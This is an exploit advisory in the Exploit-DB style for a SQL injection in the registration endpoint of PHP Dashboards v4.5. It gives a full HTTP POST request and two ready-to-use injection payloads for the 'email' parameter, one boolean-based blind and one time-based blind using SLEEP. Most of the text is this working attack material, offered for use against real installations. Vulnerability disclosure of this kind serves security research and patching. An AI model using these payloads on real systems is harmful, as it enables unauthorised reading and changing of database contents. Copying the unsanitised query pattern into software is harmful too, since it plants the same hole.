PHP Dashboards 4.5 - 'email' SQL Injection

# Exploit Title: PHP Dashboards v4.5 - Registration Page SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v40-collaborative-social-dashboards/19314871
# Version: v4.5
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query.Exploiting this issue could allow an attacker to
compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
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# PoC : SQLi :

http://test.com/php/save/user.php?mode=add

POST /php/save/user.php?mode=add HTTP/1.1
Host: phpdashboardv4.dataninja.biz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://test.com/
Content-Length: 156
Cookie: PHPSESSID=kbnho15754hdrgf4aokv8c1a35
Connection: keep-alive
email=test123%40gmail.com&password=test123&dashboardKey=&url=
phpdashboardv4.dataninja.biz
%2Fphp%2Fsave%2F%3Fmode%3Dcollaborate%26email%3Dtest123%40gmail.com



Vulnerable Payload :

Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: [email protected]' AND 3667=3667 AND
'ksGc'='ksGc&password=test123&dashboardKey=&url=
test.com/php/save/?mode=collaborate%[email protected]

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: [email protected]' AND SLEEP(5) AND
'iStK'='iStK&password=test123&dashboardKey=&url=
test.com/php/save/?mode=collaborate%[email protected]


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